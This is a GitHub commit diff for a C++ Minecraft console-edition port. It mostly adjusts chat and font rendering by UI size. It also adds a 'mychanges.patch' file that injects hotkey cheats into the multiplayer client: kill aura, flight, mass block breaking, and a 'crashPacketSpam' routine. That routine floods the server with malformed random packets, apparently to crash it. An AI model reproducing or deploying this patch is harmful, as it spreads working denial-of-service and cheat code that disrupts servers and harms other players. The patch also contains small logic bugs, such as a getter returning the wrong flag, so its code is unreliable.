This commit is contained in:
Necmi 2026-03-18 15:11:47 +00:00 committed by GitHub
commit 5ded5a2365
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
6 changed files with 1291 additions and 900 deletions

View file

@ -140,19 +140,84 @@ void ChatScreen::keyPressed(wchar_t ch, int eventKey)
void ChatScreen::render(int xm, int ym, float a)
{
fill(2, height - 14, width - 2, height - 2, 0x80000000);
int iPad = minecraft->player->GetXboxPad();
int uiSetting = app.GetGameSettings(iPad, eGameSetting_UISize);
float textScale = 0.6f;
int barTopOffset = 14;
int barBottomOffset = 2;
int textYOffset = 12;
int yAdjust = 0;
int widthsubtract = 2;
if (uiSetting == 0)
{
textScale = textScale * 1.25f;
barTopOffset = 10;
barBottomOffset = -2;
textYOffset = 8;
yAdjust = 115;
widthsubtract = -210;
}
else if (uiSetting == 1)
{
textScale = textScale * 1.0f;
barTopOffset = 14;
barBottomOffset = 2;
textYOffset = 12;
yAdjust = 0;
widthsubtract = 2;
}
else if (uiSetting == 2)
{
textScale = textScale * 0.8f;
barTopOffset = 18;
barBottomOffset = 6;
textYOffset = 16;
yAdjust = -58;
widthsubtract = 110;
}
int barY = height - barTopOffset + yAdjust;
int barBottom = height - barBottomOffset + yAdjust;
int textY = height - textYOffset + yAdjust;
fill(2, barY, width - widthsubtract, barBottom, 0x80000000);
const wstring prefix = L"> ";
int x = 4;
drawString(font, prefix, x, height - 12, 0xe0e0e0);
drawString(font, prefix, x, textY, 0xe0e0e0);
x += font->width(prefix);
wstring beforeCursor = message.substr(0, cursorIndex);
wstring afterCursor = message.substr(cursorIndex);
drawStringLiteral(font, beforeCursor, x, height - 12, 0xe0e0e0);
x += font->widthLiteral(beforeCursor);
glPushMatrix();
glTranslatef((float)x, (float)textY, 0);
glScalef(textScale, textScale, 1.0f);
font->drawShadowLiteralCustom(beforeCursor, 0, 0, 1, 1, 0xe0e0e0, 0x000000);
glPopMatrix();
x += (int)(font->widthLiteral(beforeCursor) * textScale);
if (frame / 6 % 2 == 0)
drawString(font, L"_", x, height - 12, 0xe0e0e0);
x += font->width(L"_");
drawStringLiteral(font, afterCursor, x, height - 12, 0xe0e0e0);
{
glPushMatrix();
glTranslatef((float)x, (float)textY, 0);
glScalef(textScale, textScale, 1.0f);
font->drawShadowLiteralCustom(L"_", 0, 0, 1, 1, 0xe0e0e0, 0x000000);
glPopMatrix();
}
x += (int)(font->width(L"_") * textScale);
glPushMatrix();
glTranslatef((float)x, (float)textY, 0);
glScalef(textScale, textScale, 1.0f);
font->drawShadowLiteralCustom(afterCursor, 0, 0, 1, 1, 0xe0e0e0, 0x000000);
glPopMatrix();
Screen::render(xm, ym, a);
}

File diff suppressed because it is too large Load diff

View file

@ -251,6 +251,31 @@ void Font::drawShadowLiteral(const wstring& str, int x, int y, int color)
drawLiteral(str, x, y, color);
}
void Font::drawShadowLiteralCustom(const wstring& str, int x, int y, int xplus, int yplus, int color, int shadowColor)
{
drawLiteral(str, x + xplus, y + yplus, shadowColor);
drawLiteral(str, x, y, color);
}
void Font::drawShadowFloat(const wstring& str, float x, float y, float xplus, float yplus, int color, int shadowColor)
{
drawLiteralFloat(str, x + xplus, y + yplus, shadowColor);
drawLiteralFloat(str, x, y, color);
}
void Font::drawLiteralFloat(const wstring& str, float x, float y, int color)
{
if (str.empty()) return;
if ((color & 0xFC000000) == 0) color |= 0xFF000000;
textures->bindTexture(m_textureLocation);
glColor4f((color >> 16 & 255) / 255.0F, (color >> 8 & 255) / 255.0F, (color & 255) / 255.0F, (color >> 24 & 255) / 255.0F);
xPos = static_cast<float>(x);
yPos = static_cast<float>(y);
wstring cleanStr = sanitize(str);
for (size_t i = 0; i < cleanStr.length(); ++i)
renderCharacter(cleanStr.at(i));
}
void Font::drawLiteral(const wstring& str, int x, int y, int color)
{
if (str.empty()) return;

View file

@ -53,6 +53,9 @@ private:
public:
void drawShadow(const wstring& str, int x, int y, int color);
void drawShadowLiteral(const wstring& str, int x, int y, int color); // draw without interpreting § codes
void drawShadowLiteralCustom(const wstring& str, int x, int y, int xplus, int yplus, int color, int shadowColor); // custom shadow color
void drawShadowFloat(const wstring &str, float x, float y, float xplus, float yplus, int color, int shadowColor); // Test Float Drawing
void drawLiteralFloat(const wstring& str, float x, float y, int color);
void drawShadowWordWrap(const wstring &str, int x, int y, int w, int color, int h); // 4J Added h param
void draw(const wstring &str, int x, int y, int color);
/**

View file

@ -84,7 +84,7 @@ void Gui::render(float a, bool mouseFree, int xMouse, int yMouse)
guiScale=app.GetGameSettings(iPad,eGameSetting_UISizeSplitscreen) + 2;
}
app.DebugPrintf("STARTS HERE STARTS HERE STARTS HERE");
ScreenSizeCalculator ssc(minecraft->options, minecraft->width, minecraft->height, guiScale );
int screenWidth = ssc.getWidth();
int screenHeight = ssc.getHeight();
@ -903,9 +903,44 @@ void Gui::render(float a, bool mouseFree, int xMouse, int yMouse)
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
glDisable(GL_ALPHA_TEST);
#if 0 // defined(_WINDOWS64) // Temporarily disable this chat in favor of iggy chat until we have better visual parity
#if defined(_WINDOWS64)
int uiSetting = app.GetGameSettings(iPad, eGameSetting_UISize);
float scaleFactor = 1.0f;
float textScale = 0.65f;
int bgfirsty = 1;
int bgsecondy = 8;
ScreenSizeCalculator sscchat(minecraft->options, minecraft->width, minecraft->height, 3 );
int screenWidthchat = sscchat.getWidth();
int screenHeightchat = sscchat.getHeight();
int iSafezoneXHalfChat = screenWidthchat/20;
int iSafezoneYHalfChat = screenHeightchat/20;
int iTooltipsYOffsetChat = 40;
float fScaleFactorWidthChat = 1.0f;
//if (uiSetting == 0)
//{
// textScale = textScale * 1.5; //20pixels wrong (correct is 21)
// bgfirsty = 5; //15pixels correct
// bgsecondy = 9; //15pixels wrong (correct is 14)
//}
//else if (uiSetting == 1)
//{
// textScale = textScale * 1; //20 pixels wrong (correct is 21)
// bgfirsty = 2; //9pixels wrong (correct is 15)
// bgsecondy = 9; //20pixels wrong (correct is 14)
//}
//else if (uiSetting == 2)
//{
// textScale = textScale * 0.75; //20 pixels wrong (correct is 21)
// bgfirsty = 2; //12pixels wrong (correct is 15)
// bgsecondy = 9; //34pixels wrong (correct is 14)
//}
glPushMatrix();
glTranslatef(0.0f, static_cast<float>(screenHeight - iSafezoneYHalf - iTooltipsYOffset - 16 - 3 + 22) - 24.0f, 0.0f);
glTranslatef(0.0f, static_cast<float>(screenHeightchat - iSafezoneYHalfChat - iTooltipsYOffsetChat - 16 - 3 + 22) - 24.0f, 0.0f);
if(bDisplayGui)
{
@ -925,17 +960,24 @@ void Gui::render(float a, bool mouseFree, int xMouse, int yMouse)
if (alpha > 0)
{
int x = iSafezoneXHalf+2;
int y = -(static_cast<int>(i)) * 9;
int x = iSafezoneXHalfChat+2;
int y = -(static_cast<int>(i)) * 13 - 19;
if(bTwoPlayerSplitscreen)
{
y+= iHeightOffset;
y+= iHeightOffset;
}
wstring msg = guiMessages[iPad][i].string;
this->fill(0, y - 1, screenWidth/fScaleFactorWidth, y + 8, (alpha / 2) << 24);
int bgColor = ((alpha / 2) << 24) | (0x404040);
this->fill(0, y - bgfirsty, screenWidthchat/fScaleFactorWidthChat, y + bgsecondy, bgColor);
glEnable(GL_BLEND);
font->drawShadow(msg, iSafezoneXHalf+4, y, 0xffffff + (alpha << 24));
glPushMatrix();
glTranslatef((float)(iSafezoneXHalf+4), (float)(y), 0);
glScalef(textScale, textScale, scaleFactor);
font->drawShadowFloat(msg, 0, 0, 0.5, 0.5, 0xffffff + (alpha << 24), 0x000000 + (alpha / 2 << 24));
//font->drawShadowLiteralCustom(msg, 0, 0, 1, 1, 0xffffff + (alpha << 24), 0x000000 + (alpha / 2 << 24));
glPopMatrix();
}
}
}

256
mychanges.patch Normal file
View file

@ -0,0 +1,256 @@
diff --git a/Minecraft.Client/MultiPlayerLocalPlayer.cpp b/Minecraft.Client/MultiPlayerLocalPlayer.cpp
index 25bf06bf..1e8379bf 100644
--- a/Minecraft.Client/MultiPlayerLocalPlayer.cpp
+++ b/Minecraft.Client/MultiPlayerLocalPlayer.cpp
@@ -12,6 +12,7 @@
#include "..\Minecraft.World\net.minecraft.world.effect.h"
#include "..\Minecraft.World\LevelData.h"
#include "..\Minecraft.World\net.minecraft.world.entity.item.h"
+#include "..\Minecraft.World\EntityIO.h"
#include "Input.h"
#include "LevelRenderer.h"
@@ -32,9 +33,151 @@ MultiplayerLocalPlayer::MultiplayerLocalPlayer(Minecraft *minecraft, Level *leve
lastSprinting = false;
positionReminder = 0;
+ killAuraEnabled = false;
+ flightEnabled = false;
+ killauratimer = 0;
+ killauraDelay = 5;
+ nukerEnabled = false;
+ nukerEnabled2 = false;
+
+ crashPacketSpamEnabled = false;
+
this->connection = connection;
}
+void MultiplayerLocalPlayer::crashPacketSpam()
+{
+ if (!connection) return;
+
+ static bool spamActive = false;
+
+ if (!spamActive)
+ {
+ spamActive = true;
+ }
+
+ if (spamActive)
+ {
+ for (int i = 0; i < 30; i++)
+ {
+ byteArray badData;
+ badData.length = 3048;
+ badData.data = new BYTE[3048];
+ memset(badData.data, rand(), 3048);
+
+ connection->send(shared_ptr<GameCommandPacket>(
+ new GameCommandPacket((EGameCommand)(rand() % 200), badData)));
+ }
+ }
+}
+
+void MultiplayerLocalPlayer::doNuker()
+{
+ if (!level || !nukerEnabled2) return;
+
+ int px = Mth::floor(x);
+ int py = Mth::floor(y);
+ int pz = Mth::floor(z);
+
+ for (int dx = -2; dx <= 2; dx++)
+ {
+ for (int dy = -1; dy <= 2; dy++)
+ {
+ for (int dz = -2; dz <= 2; dz++)
+ {
+ int bx = px + dx;
+ int by = py + dy;
+ int bz = pz + dz;
+
+ int blockId = level->getTile(bx, by, bz);
+
+ if (blockId != 0 && blockId)
+ {
+ minecraft->gameMode->startDestroyBlock(bx, by, bz, -1);
+ }
+ }
+ }
+ }
+}
+
+void MultiplayerLocalPlayer::doNuker2()
+{
+ if (!level || !nukerEnabled2) return;
+
+ int px = Mth::floor(x);
+ int py = Mth::floor(y);
+ int pz = Mth::floor(z);
+
+ for (int dx = -2; dx <= 2; dx++)
+ {
+ for (int dy = -1; dy <= 2; dy++)
+ {
+ for (int dz = -2; dz <= 2; dz++)
+ {
+ int bx = px + dx;
+ int by = py + dy;
+ int bz = pz + dz;
+
+ int blockId = level->getTile(bx, by, bz);
+
+ if (blockId == 0)
+ {
+ auto it = breakProgress.find({bx, by, bz});
+ if (it != breakProgress.end())
+ {
+ breakProgress.erase(it);
+ }
+ continue;
+ }
+
+ if (breakProgress.find({bx, by, bz}) != breakProgress.end())
+ {
+ continue;
+ }
+
+ minecraft->gameMode->startDestroyBlock(bx, by, bz, -1);
+ breakProgress[{bx, by, bz}] = 1;
+ }
+ }
+ }
+}
+
+void MultiplayerLocalPlayer::findAndAttackTarget()
+{
+ if (!level || !killAuraEnabled) return;
+
+ if (killauratimer > 0)
+ {
+ killauratimer--;
+ return;
+ }
+
+ float range = 6.0f;
+
+ for (size_t i = 0; i < level->entities.size(); i++)
+ {
+ shared_ptr<Entity> entity = level->entities[i];
+
+ if (!entity || entity.get() == this) continue;
+ if (!entity->isAlive()) continue;
+
+ double dx = entity->x - x;
+ double dy = entity->y - y;
+ double dz = entity->z - z;
+ float dist = sqrt(dx*dx + dy*dy + dz*dz);
+
+ if (dist <= range)
+ {
+ Player::attack(entity);
+ swing();
+
+ killauratimer = killauraDelay;
+
+ break;
+ }
+ }
+}
+
bool MultiplayerLocalPlayer::hurt(DamageSource *source, float dmg)
{
return false;
@@ -63,6 +206,58 @@ void MultiplayerLocalPlayer::tick()
LocalPlayer::tick();
+ if (GetAsyncKeyState('Y') & 1)
+ {
+ killAuraEnabled = !killAuraEnabled;
+ }
+
+ if (GetAsyncKeyState('G') & 1)
+ {
+ flightEnabled = !flightEnabled;
+ if (flightEnabled)
+ {
+ abilities.mayfly = true;
+ abilities.flying = true;
+ }
+ else
+ {
+ abilities.mayfly = false;
+ abilities.flying = false;
+ }
+ }
+
+ if (GetAsyncKeyState('P') & 1)
+ {
+ nukerEnabled = !nukerEnabled;
+ }
+ if (GetAsyncKeyState('O') & 1)
+ {
+ nukerEnabled2 = !nukerEnabled2;
+ }
+
+ if (GetAsyncKeyState('U') & 1)
+ {
+ crashPacketSpamEnabled = !crashPacketSpamEnabled;
+ if (crashPacketSpamEnabled)
+ {
+ crashPacketSpam();
+ }
+ }
+
+ if (nukerEnabled)
+ {
+ doNuker();
+ }
+ if (nukerEnabled2)
+ {
+ doNuker2();
+ }
+
+ if (killAuraEnabled)
+ {
+ findAndAttackTarget();
+ }
+
// 4J added for testing
#ifdef STRESS_TEST_MOVE
if(stressTestEnabled)
diff --git a/Minecraft.Client/MultiPlayerLocalPlayer.h b/Minecraft.Client/MultiPlayerLocalPlayer.h
index e660a96a..af495100 100644
--- a/Minecraft.Client/MultiPlayerLocalPlayer.h
+++ b/Minecraft.Client/MultiPlayerLocalPlayer.h
@@ -17,11 +17,28 @@ public:
private:
bool flashOnSetHealth;
public:
+ void doNuker();
+ void doNuker2();
+ void findAndAttackTarget();
+ void crashPacketSpam();
MultiplayerLocalPlayer(Minecraft *minecraft, Level *level, User *user, ClientConnection *connection);
private:
double xLast, yLast1, yLast2, zLast;
float yRotLast, xRotLast;
public:
+ bool nukerEnabled;
+ bool nukerEnabled2;
+ std::map<std::tuple<int, int, int>, int> breakProgress;
+ bool killAuraEnabled;
+ bool flightEnabled;
+ int killauratimer;
+ int killauraDelay;
+ bool isNukerEnabled() const { return nukerEnabled; }
+ bool isNukerEnabled2() const { return nukerEnabled; }
+ bool isKillAuraEnabled() const { return killAuraEnabled; }
+ bool isFlightEnabled() const { return flightEnabled; }
+ bool crashEntitySpamEnabled;
+ bool crashPacketSpamEnabled;
virtual bool hurt(DamageSource *source, float dmg);
virtual void heal(float heal);
virtual void tick();